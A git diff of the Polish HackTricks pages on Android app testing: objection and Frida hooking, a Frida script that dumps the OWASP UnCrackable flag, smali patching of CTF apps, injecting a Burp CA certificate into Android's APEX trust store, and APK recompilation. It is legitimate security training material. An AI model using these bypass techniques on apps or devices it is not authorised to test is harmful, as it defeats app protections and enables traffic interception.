Jest część 5, której nie zamierzam wyjaśniać, ponieważ nie ma nic nowego. Ale jeśli chcesz to przeczytać, jest tutaj: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/)
|
||||
|
||||
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Wskazówka dotycząca bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 $**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -2,15 +2,19 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
<img src="../../../images/i3.png" alt="" data-size="original">
|
||||
|
||||
**Tip dotyczący bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## **Wprowadzenie**
|
||||
|
||||
**objection - Eksploracja mobilna w czasie rzeczywistym**
|
||||
**objection - Runtime Mobile Exploration**
|
||||
|
||||
[**Objection**](https://github.com/sensepost/objection) to zestaw narzędzi do eksploracji mobilnej w czasie rzeczywistym, oparty na [Frida](https://www.frida.re). Został stworzony w celu pomocy w ocenie aplikacji mobilnych i ich bezpieczeństwa bez potrzeby posiadania urządzenia mobilnego z jailbreakiem lub roota.
|
||||
[**Objection**](https://github.com/sensepost/objection) to zestaw narzędzi do eksploracji mobilnej w czasie rzeczywistym, zasilany przez [Frida](https://www.frida.re). Został stworzony w celu pomocy w ocenie aplikacji mobilnych i ich bezpieczeństwa bez potrzeby posiadania urządzenia mobilnego z jailbreakiem lub roota.
|
||||
|
||||
**Uwaga:** To nie jest forma obejścia jailbreaka / roota. Używając `objection`, nadal jesteś ograniczony przez wszystkie restrykcje nałożone przez odpowiedni sandbox, z którym się mierzysz.
|
||||
**Uwaga:** To nie jest forma jailbreaku / obejścia roota. Używając `objection`, nadal jesteś ograniczony przez wszystkie restrykcje nałożone przez odpowiedni sandbox, z którym się mierzysz.
|
||||
|
||||
### Podsumowanie
|
||||
|
||||
@ -153,13 +157,13 @@ Właściwie uważam, że wszystkie metody klasy MainActivity są naprawdę inter
|
||||
```bash
|
||||
android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return
|
||||
```
|
||||
Jeśli bawisz się aplikacją, gdy klasa jest podłączona, zobaczysz, kiedy **każda funkcja jest wywoływana**, jej **argumenty** i **wartość zwracaną**.
|
||||
Jeśli bawisz się aplikacją, gdy klasa jest podłączona, zobaczysz, kiedy **każda funkcja jest wywoływana**, jej **argumenty** oraz **wartość zwracaną**.
|
||||
|
||||
.png>)
|
||||
|
||||
#### Zmiana wartości zwracanej typu boolean funkcji
|
||||
|
||||
Z kodu źródłowego widać, że funkcja _checkPin_ przyjmuje _String_ jako argument i zwraca _boolean_. Sprawmy, aby funkcja **zawsze zwracała true**:
|
||||
Z kodu źródłowego widać, że funkcja _checkPin_ przyjmuje _String_ jako argument i zwraca _boolean_. Zmieńmy funkcję, aby **zawsze zwracała true**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -169,7 +173,7 @@ Teraz, jeśli wpiszesz cokolwiek w polu tekstowym dla kodu PIN, zobaczysz, że c
|
||||
|
||||
### Instancje klas
|
||||
|
||||
Szukaj i drukuj **aktywne instancje konkretnej klasy Java**, określonej przez w pełni kwalifikowaną nazwę klasy. Oto wynik próby uzyskania wartości string dla odkrytej objection, która zazwyczaj **zawiera wartości właściwości dla obiektu**.
|
||||
Szukaj i drukuj **aktywnych instancji konkretnej klasy Java**, określonej przez w pełni kwalifikowaną nazwę klasy. Oto wynik próby uzyskania wartości string dla odkrytej obiekcji, która zazwyczaj **zawiera wartości właściwości dla obiektu**.
|
||||
```
|
||||
android heap print_instances <class>
|
||||
```
|
||||
@ -223,4 +227,12 @@ exit
|
||||
|
||||
- Metody hookujące czasami powodują awarię aplikacji (to również z powodu Frida).
|
||||
- Nie możesz używać instancji klas do wywoływania funkcji instancji. I nie możesz tworzyć nowych instancji klas i używać ich do wywoływania funkcji.
|
||||
- Nie ma skrótu (jak w przypadku sslpinnin), aby hookować wszystkie powszechne metody kryptograficzne używane przez aplikację, aby zobaczyć zaszyfrowany tekst, tekst jawny, klucze, IV i używane algorytmy.
|
||||
- Nie ma skrótu (jak ten dla sslpinnin), aby hookować wszystkie powszechne metody kryptograficzne używane przez aplikację, aby zobaczyć tekst zaszyfrowany, tekst jawny, klucze, IV i używane algorytmy.
|
||||
|
||||
<img src="../../../images/i3.png" alt="" data-size="original">
|
||||
|
||||
**Tip dotyczący bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 $**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -2,17 +2,22 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Tip dotyczący bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 $**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
---
|
||||
|
||||
**To jest podsumowanie posta**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
||||
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
|
||||
|
||||
## Rozwiązanie 1
|
||||
## Solution 1
|
||||
|
||||
Oparte na [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)
|
||||
Na podstawie [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)
|
||||
|
||||
**Hookuj funkcję \_exit()**\_ i **funkcję deszyfrującą**, aby wydrukować flagę w konsoli frida, gdy naciśniesz weryfikację:
|
||||
**Złap funkcję \_exit()**\_ i **funkcję deszyfrującą**, aby wydrukować flagę w konsoli frida, gdy naciśniesz weryfikację:
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
send("Starting hooks OWASP uncrackable1...")
|
||||
@ -115,4 +120,10 @@ return false
|
||||
send("Hooks installed.")
|
||||
})
|
||||
```
|
||||
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Wskazówka dotycząca bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 $**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -10,7 +10,7 @@ Zamierzam przesłać APK na [https://appetize.io/](https://appetize.io) (darmowe
|
||||
|
||||
Wygląda na to, że musisz wygrać 1000000 razy, aby zdobyć flagę.
|
||||
|
||||
Postępując zgodnie z krokami z [pentesting Android](./), możesz dekompilować aplikację, aby uzyskać kod smali i przeczytać kod Java za pomocą jadx.
|
||||
Postępując zgodnie z krokami z [pentesting Android](./), możesz zdekompilować aplikację, aby uzyskać kod smali i przeczytać kod Java za pomocą jadx.
|
||||
|
||||
Czytanie kodu java:
|
||||
|
||||
@ -22,7 +22,7 @@ Wygląda na to, że funkcja, która ma wydrukować flagę, to **m().**
|
||||
|
||||
### **Wywołaj m() po raz pierwszy**
|
||||
|
||||
Sprawmy, aby aplikacja wywołała m(), jeśli zmienna _this.o != 1000000_, aby to zrobić, wystarczy zmienić warunek:
|
||||
Sprawmy, aby aplikacja wywołała m(), jeśli zmienna _this.o != 1000000_. Aby to zrobić, wystarczy zmienić warunek:
|
||||
```
|
||||
if-ne v0, v9, :cond_2
|
||||
```
|
||||
@ -56,7 +56,7 @@ Czwarty sposób to dodać instrukcję, aby przenieść wartość v9(1000000) do
|
||||
|
||||
## Rozwiązanie
|
||||
|
||||
Spraw, aby aplikacja wykonała pętlę 100000 razy, gdy wygrasz po raz pierwszy. Aby to zrobić, musisz tylko stworzyć pętlę **:goto_6** i sprawić, aby aplikacja **skoczyła tam, jeśli `this.o`** nie ma wartości 100000:
|
||||
Spraw, aby aplikacja wykonała pętlę 100000 razy, gdy wygrasz po raz pierwszy. Aby to zrobić, wystarczy stworzyć pętlę **:goto_6** i sprawić, aby aplikacja **skoczyła tam, jeśli `this.o`** nie ma wartości 100000:
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -2,6 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Na maszynie wirtualnej
|
||||
|
||||
@ -14,7 +17,7 @@ Na przykład możesz uruchomić ją tak:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
|
||||
```
|
||||
Aby **skonfigurować certyfikat burp**:
|
||||
Następnie, aby **skonfigurować certyfikat burp**:
|
||||
```bash
|
||||
openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem
|
||||
CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0"
|
||||
@ -57,7 +60,7 @@ Próby ponownego zamontowania **ścieżki APEX cacerts** jako zapisywalnej końc
|
||||
|
||||
Inicjalizacja Androida obejmuje proces `init`, który, uruchamiając system operacyjny, również inicjuje proces Zygote. Proces ten jest odpowiedzialny za uruchamianie procesów aplikacji z nową przestrzenią montowania, która obejmuje prywatny montaż **`/apex`**, izolując tym samym zmiany w tym katalogu od innych procesów.
|
||||
|
||||
Niemniej jednak istnieje obejście dla tych, którzy potrzebują zmodyfikować certyfikaty CA zaufane przez system w katalogu **`/apex`**. Polega to na ręcznym ponownym zamontowaniu **`/apex`**, aby usunąć propagację PRIVATE, co czyni go zapisywalnym. Proces obejmuje skopiowanie zawartości **`/apex/com.android.conscrypt`** do innej lokalizacji, odmontowanie katalogu **`/apex/com.android.conscrypt`**, aby wyeliminować ograniczenie tylko do odczytu, a następnie przywrócenie zawartości do ich pierwotnej lokalizacji w **`/apex`**. To podejście wymaga szybkiego działania, aby uniknąć awarii systemu. Aby zapewnić systemowe zastosowanie tych zmian, zaleca się ponowne uruchomienie `system_server`, co skutecznie restartuje wszystkie aplikacje i przywraca system do spójnego stanu.
|
||||
Niemniej jednak istnieje obejście dla tych, którzy potrzebują zmodyfikować certyfikaty CA zaufane przez system w katalogu **`/apex`**. Polega to na ręcznym ponownym zamontowaniu **`/apex`**, aby usunąć propagację PRIVATE, co czyni go zapisywalnym. Proces ten obejmuje skopiowanie zawartości **`/apex/com.android.conscrypt`** do innej lokalizacji, odmontowanie katalogu **`/apex/com.android.conscrypt`**, aby wyeliminować ograniczenie tylko do odczytu, a następnie przywrócenie zawartości do ich pierwotnej lokalizacji w **`/apex`**. To podejście wymaga szybkiego działania, aby uniknąć awarii systemu. Aby zapewnić systemowe zastosowanie tych zmian, zaleca się ponowne uruchomienie `system_server`, co skutecznie restartuje wszystkie aplikacje i przywraca system do spójnego stanu.
|
||||
```bash
|
||||
# Create a separate temp directory, to hold the current certificates
|
||||
# Otherwise, when we add the mount we can't read the current certs anymore.
|
||||
@ -117,12 +120,12 @@ echo "System certificate injected"
|
||||
```
|
||||
### Bind-mounting through NSEnter
|
||||
|
||||
1. **Ustawienie zapisywalnego katalogu**: Początkowo, zapisywalny katalog jest tworzony przez zamontowanie `tmpfs` nad istniejącym katalogiem certyfikatów systemowych, który nie jest APEX. Osiąga się to za pomocą następującego polecenia:
|
||||
1. **Ustawienie zapisywalnego katalogu**: Początkowo tworzony jest zapisywalny katalog poprzez zamontowanie `tmpfs` nad istniejącym katalogiem certyfikatów systemowych, który nie jest APEX. Osiąga się to za pomocą następującego polecenia:
|
||||
```bash
|
||||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||
```
|
||||
2. **Przygotowanie certyfikatów CA**: Po skonfigurowaniu zapisywalnego katalogu, certyfikaty CA, które zamierza się użyć, powinny zostać skopiowane do tego katalogu. Może to obejmować skopiowanie domyślnych certyfikatów z `/apex/com.android.conscrypt/cacerts/`. Ważne jest, aby odpowiednio dostosować uprawnienia i etykiety SELinux tych certyfikatów.
|
||||
3. **Zamontowanie dla Zygote**: Wykorzystując `nsenter`, wchodzi się do przestrzeni nazw montowania Zygote. Zygote, będący procesem odpowiedzialnym za uruchamianie aplikacji Android, wymaga tego kroku, aby zapewnić, że wszystkie aplikacje uruchamiane odtąd korzystają z nowo skonfigurowanych certyfikatów CA. Używana komenda to:
|
||||
3. **Zamontowanie dla Zygote**: Wykorzystując `nsenter`, wchodzi się do przestrzeni montowania Zygote. Zygote, będący procesem odpowiedzialnym za uruchamianie aplikacji Android, wymaga tego kroku, aby zapewnić, że wszystkie aplikacje uruchamiane odtąd korzystają z nowo skonfigurowanych certyfikatów CA. Używana komenda to:
|
||||
```bash
|
||||
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
@ -132,11 +135,14 @@ To zapewnia, że każda nowa aplikacja uruchomiona będzie przestrzegać zaktual
|
||||
```bash
|
||||
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
5. **Alternatywne podejście - Miękki restart**: Alternatywna metoda polega na wykonaniu montażu wiązanego na procesie `init` (PID 1), a następnie na miękkim restarcie systemu operacyjnego za pomocą poleceń `stop && start`. To podejście propagowałoby zmiany we wszystkich przestrzeniach nazw, unikając potrzeby indywidualnego adresowania każdej działającej aplikacji. Jednak ta metoda jest zazwyczaj mniej preferowana z powodu niedogodności związanych z restartowaniem.
|
||||
5. **Alternatywne podejście - Miękki restart**: Alternatywna metoda polega na wykonaniu montażu wiązania na procesie `init` (PID 1), a następnie na miękkim restarcie systemu operacyjnego za pomocą poleceń `stop && start`. To podejście propagowałoby zmiany we wszystkich przestrzeniach nazw, unikając potrzeby indywidualnego adresowania każdej działającej aplikacji. Jednak ta metoda jest zazwyczaj mniej preferowana z powodu niedogodności związanych z restartowaniem.
|
||||
|
||||
## References
|
||||
|
||||
- [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Niektóre aplikacje nie akceptują certyfikatów pobranych przez użytkownika, więc aby przeanalizować ruch sieciowy w niektórych aplikacjach, musimy dekompilować aplikację, dodać kilka rzeczy i ponownie ją skompilować.
|
||||
Niektóre aplikacje nie akceptują certyfikatów pobranych przez użytkownika, więc aby przeanalizować ruch sieciowy dla niektórych aplikacji, musimy dekompilować aplikację, dodać kilka rzeczy i ponownie ją skompilować.
|
||||
|
||||
# Automatycznie
|
||||
|
||||
|
@ -26,14 +26,14 @@ Wykonując kod w kontrolowanym środowisku, analiza dynamiczna **umożliwia obse
|
||||
### **Zastosowania Analizy Dynamicznej**
|
||||
|
||||
- **Deszyfrowanie w czasie rzeczywistym**: Wiele technik obfuskacji polega na szyfrowaniu ciągów lub segmentów kodu, które są deszyfrowane tylko w czasie wykonywania. Dzięki analizie dynamicznej te zaszyfrowane elementy mogą być uchwycone w momencie deszyfrowania, ujawniając ich prawdziwą formę.
|
||||
- **Identyfikacja Technik Obfuskacji**: Monitorując zachowanie aplikacji, analiza dynamiczna może pomóc zidentyfikować konkretne techniki obfuskacji, które są używane, takie jak wirtualizacja kodu, pakowanie lub dynamiczne generowanie kodu.
|
||||
- **Identyfikacja Technik Obfuskacji**: Monitorując zachowanie aplikacji, analiza dynamiczna może pomóc zidentyfikować konkretne techniki obfuskacji, takie jak wirtualizacja kodu, pakowanie lub dynamiczne generowanie kodu.
|
||||
- **Odkrywanie Ukrytej Funkcjonalności**: Zniekształcony kod może zawierać ukryte funkcjonalności, które nie są widoczne tylko poprzez analizę statyczną. Analiza dynamiczna pozwala na obserwację wszystkich ścieżek kodu, w tym tych wykonywanych warunkowo, aby odkryć takie ukryte funkcjonalności.
|
||||
|
||||
## Odniesienia i Dalsza Lektura
|
||||
|
||||
- [https://maddiestone.github.io/AndroidAppRE/obfuscation.html](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)
|
||||
- BlackHat USA 2018: “Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library” \[[video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
|
||||
- Ta prezentacja omawia inżynierię wsteczną jednej z najbardziej złożonych bibliotek natywnych antyanalizacyjnych, jakie widziałem używane przez aplikację Android. Dotyczy głównie technik obfuskacji w kodzie natywnym.
|
||||
- Ta prezentacja omawia inżynierię wsteczną jednej z najbardziej złożonych bibliotek natywnych antyanalizacyjnych, jakie widziałem używane przez aplikację Android. Skupia się głównie na technikach obfuskacji w kodzie natywnym.
|
||||
- REcon 2019: “The Path to the Payload: Android Edition” \[[video](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
|
||||
- Ta prezentacja omawia szereg technik obfuskacji, wyłącznie w kodzie Java, które botnet Androida używał do ukrywania swojego zachowania.
|
||||
|
||||
|
@ -2,16 +2,22 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Zgłębiaj swoją wiedzę w zakresie **Mobile Security** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Android dzięki naszym kursom w trybie samodzielnym i uzyskaj certyfikat:
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
|
||||
**Aby uzyskać więcej informacji, sprawdź:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
|
||||
|
||||
Aplikacje na Androida mogą korzystać z bibliotek natywnych, zazwyczaj napisanych w C lub C++, do zadań wymagających dużej wydajności. Twórcy złośliwego oprogramowania również używają tych bibliotek, ponieważ są trudniejsze do inżynierii wstecznej niż kod bajtowy DEX. Sekcja ta podkreśla umiejętności inżynierii wstecznej dostosowane do Androida, zamiast uczyć języków asemblera. Wersje bibliotek dla ARM i x86 są dostarczane dla zapewnienia kompatybilności.
|
||||
|
||||
### Kluczowe punkty:
|
||||
|
||||
- **Biblioteki natywne w aplikacjach na Androida:**
|
||||
- **Biblioteki natywne w aplikacjach Android:**
|
||||
- Używane do zadań wymagających dużej wydajności.
|
||||
- Napisane w C lub C++, co utrudnia inżynierię wsteczną.
|
||||
- Znajdują się w formacie `.so` (obiekt współdzielony), podobnie jak binaria w systemie Linux.
|
||||
- Znajdują się w formacie `.so` (obiekt współdzielony), podobnym do binariów Linuxa.
|
||||
- Twórcy złośliwego oprogramowania preferują kod natywny, aby utrudnić analizę.
|
||||
- **Java Native Interface (JNI) i Android NDK:**
|
||||
- JNI pozwala na implementację metod Java w kodzie natywnym.
|
||||
@ -20,14 +26,14 @@ Aplikacje na Androida mogą korzystać z bibliotek natywnych, zazwyczaj napisany
|
||||
- **Ładowanie i wykonywanie bibliotek:**
|
||||
- Biblioteki są ładowane do pamięci za pomocą `System.loadLibrary` lub `System.load`.
|
||||
- JNI_OnLoad jest wykonywane po załadowaniu biblioteki.
|
||||
- Metody natywne zadeklarowane w Javie łączą się z funkcjami natywnymi, umożliwiając wykonanie.
|
||||
- Deklarowane w Javie metody natywne łączą się z funkcjami natywnymi, umożliwiając wykonanie.
|
||||
- **Łączenie metod Java z funkcjami natywnymi:**
|
||||
- **Linkowanie dynamiczne:** Nazwy funkcji w bibliotekach natywnych odpowiadają określonemu wzorcowi, co umożliwia automatyczne linkowanie.
|
||||
- **Linkowanie statyczne:** Używa `RegisterNatives` do linkowania, co zapewnia elastyczność w nazewnictwie funkcji i strukturze.
|
||||
- **Łączenie dynamiczne:** Nazwy funkcji w bibliotekach natywnych odpowiadają określonemu wzorcowi, co umożliwia automatyczne łączenie.
|
||||
- **Łączenie statyczne:** Używa `RegisterNatives` do łączenia, co zapewnia elastyczność w nazewnictwie funkcji i strukturze.
|
||||
- **Narzędzia i techniki inżynierii wstecznej:**
|
||||
- Narzędzia takie jak Ghidra i IDA Pro pomagają w analizie bibliotek natywnych.
|
||||
- `JNIEnv` jest kluczowe dla zrozumienia funkcji i interakcji JNI.
|
||||
- Zapewnione są ćwiczenia do praktyki ładowania bibliotek, łączenia metod i identyfikowania funkcji natywnych.
|
||||
- `JNIEnv` jest kluczowe dla zrozumienia funkcji JNI i interakcji.
|
||||
- Dostarczono ćwiczenia do praktyki ładowania bibliotek, łączenia metod i identyfikowania funkcji natywnych.
|
||||
|
||||
### Zasoby:
|
||||
|
||||
@ -41,4 +47,10 @@ Aplikacje na Androida mogą korzystać z bibliotek natywnych, zazwyczaj napisany
|
||||
- **Debugowanie bibliotek natywnych:**
|
||||
- [Debugowanie bibliotek natywnych Androida za pomocą dekompilatora JEB](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
|
||||
|
||||
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Zgłębiaj swoją wiedzę w zakresie **Mobile Security** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Android dzięki naszym kursom w trybie samodzielnym i uzyskaj certyfikat:
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,13 +2,19 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Czasami interesujące jest modyfikowanie kodu aplikacji, aby uzyskać dostęp do ukrytych informacji (może dobrze zafałszowanych haseł lub flag). Wtedy może być interesujące, aby zdekompilować apk, zmodyfikować kod i ponownie go skompilować.
|
||||
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pogłęb swoją wiedzę w zakresie **Mobile Security** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Android dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat:
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
|
||||
Czasami interesujące jest modyfikowanie kodu aplikacji, aby uzyskać dostęp do ukrytych informacji (może dobrze z obfuskowanymi hasłami lub flagami). Wtedy może być interesujące dekompilowanie apk, modyfikowanie kodu i ponowne kompilowanie go.
|
||||
|
||||
**Opcodes reference:** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html)
|
||||
|
||||
## Fast Way
|
||||
|
||||
Używając **Visual Studio Code** i rozszerzenia [APKLab](https://github.com/APKLab/APKLab), możesz **automatycznie zdekompilować**, zmodyfikować, **skompilować**, podpisać i zainstalować aplikację bez wykonywania jakiejkolwiek komendy.
|
||||
Używając **Visual Studio Code** i rozszerzenia [APKLab](https://github.com/APKLab/APKLab), możesz **automatycznie dekompilować**, modyfikować, **ponownie kompilować**, podpisywać i instalować aplikację bez wykonywania jakiejkolwiek komendy.
|
||||
|
||||
Inny **skrypt**, który bardzo ułatwia to zadanie, to [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
|
||||
|
||||
@ -33,10 +39,10 @@ Jeśli `apktool` ma **problemy z dekodowaniem aplikacji**, sprawdź [https://ibo
|
||||
Możesz **zmienić** **instrukcje**, zmienić **wartość** niektórych zmiennych lub **dodać** nowe instrukcje. Zmieniam kod Smali używając [**VS Code**](https://code.visualstudio.com), następnie instalujesz **rozszerzenie smalise**, a edytor powie ci, czy jakakolwiek **instrukcja jest niepoprawna**.\
|
||||
Niektóre **przykłady** można znaleźć tutaj:
|
||||
|
||||
- [Przykłady zmian smali](smali-changes.md)
|
||||
- [Przykłady zmian Smali](smali-changes.md)
|
||||
- [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md)
|
||||
|
||||
Lub możesz [**sprawdzić poniżej niektóre zmiany smali wyjaśnione**](smali-changes.md#modifying-smali).
|
||||
Lub możesz [**sprawdzić poniżej niektóre zmiany Smali wyjaśnione**](smali-changes.md#modifying-smali).
|
||||
|
||||
## Rekompilacja APK
|
||||
|
||||
@ -141,7 +147,7 @@ Zalecenia:
|
||||
|
||||
- Jeśli zamierzasz używać zadeklarowanych zmiennych wewnątrz funkcji (zadeklarowane v0,v1,v2...) umieść te linie między _.local \<number>_ a deklaracjami zmiennych (_const v0, 0x1_)
|
||||
- Jeśli chcesz umieścić kod logowania w środku kodu funkcji:
|
||||
- Dodaj 2 do liczby zadeklarowanych zmiennych: np. z _.locals 10_ do _.locals 12_
|
||||
- Dodaj 2 do liczby zadeklarowanych zmiennych: Przykład: z _.locals 10_ do _.locals 12_
|
||||
- Nowe zmienne powinny być następnymi numerami już zadeklarowanych zmiennych (w tym przykładzie powinny być _v10_ i _v11_, pamiętaj, że zaczyna się od v0).
|
||||
- Zmień kod funkcji logowania i użyj _v10_ i _v11_ zamiast _v5_ i _v1_.
|
||||
|
||||
@ -161,4 +167,10 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/
|
||||
move-result-object v12
|
||||
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
|
||||
```
|
||||
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Zgłębiaj swoją wiedzę w zakresie **Bezpieczeństwa Mobilnego** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat:
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
W sytuacjach, gdy aplikacja jest ograniczona do określonych krajów, a nie możesz jej zainstalować na swoim urządzeniu z Androidem z powodu ograniczeń regionalnych, oszustwo lokalizacji na kraj, w którym aplikacja jest dostępna, może dać ci dostęp. Poniższe kroki szczegółowo opisują, jak to zrobić:
|
||||
W sytuacjach, gdy aplikacja jest ograniczona do określonych krajów, a nie możesz jej zainstalować na swoim urządzeniu z Androidem z powodu ograniczeń regionalnych, oszustwo swojej lokalizacji na kraj, w którym aplikacja jest dostępna, może dać ci dostęp. Poniższe kroki szczegółowo opisują, jak to zrobić:
|
||||
|
||||
1. **Zainstaluj Hotspot Shield Free VPN Proxy:**
|
||||
|
||||
@ -16,7 +16,7 @@ W sytuacjach, gdy aplikacja jest ograniczona do określonych krajów, a nie moż
|
||||
- Przejdź do **Ustawienia** swojego urządzenia.
|
||||
- Przejdź do **Aplikacje** lub **Menadżer aplikacji** (może się to różnić w zależności od urządzenia).
|
||||
- Znajdź i wybierz **Google Play Store** z listy aplikacji.
|
||||
- Stuknij w **Wymuś zatrzymanie**, aby zakończyć wszelkie działające procesy aplikacji.
|
||||
- Stuknij w **Zatrzymaj wymuszenie**, aby zakończyć wszelkie działające procesy aplikacji.
|
||||
- Następnie stuknij w **Wyczyść dane** lub **Wyczyść pamięć** (dokładne sformułowanie może się różnić), aby zresetować aplikację Google Play Store do jej domyślnego stanu.
|
||||
|
||||
4. **Uzyskaj dostęp do ograniczonej aplikacji:**
|
||||
@ -26,7 +26,7 @@ W sytuacjach, gdy aplikacja jest ograniczona do określonych krajów, a nie moż
|
||||
|
||||
### Ważne uwagi:
|
||||
|
||||
- Skuteczność tej metody może się różnić w zależności od kilku czynników, w tym niezawodności usługi VPN oraz specyficznych ograniczeń regionalnych nałożonych przez aplikację.
|
||||
- Skuteczność tej metody może się różnić w zależności od kilku czynników, w tym niezawodności usługi VPN oraz konkretnych ograniczeń regionalnych nałożonych przez aplikację.
|
||||
- Regularne korzystanie z VPN może wpływać na wydajność niektórych aplikacji i usług.
|
||||
- Bądź świadomy warunków korzystania z jakiejkolwiek aplikacji lub usługi, z której korzystasz, ponieważ używanie VPN do omijania ograniczeń regionalnych może naruszać te warunki.
|
||||
|
||||
|
@ -2,10 +2,14 @@
|
||||
|
||||
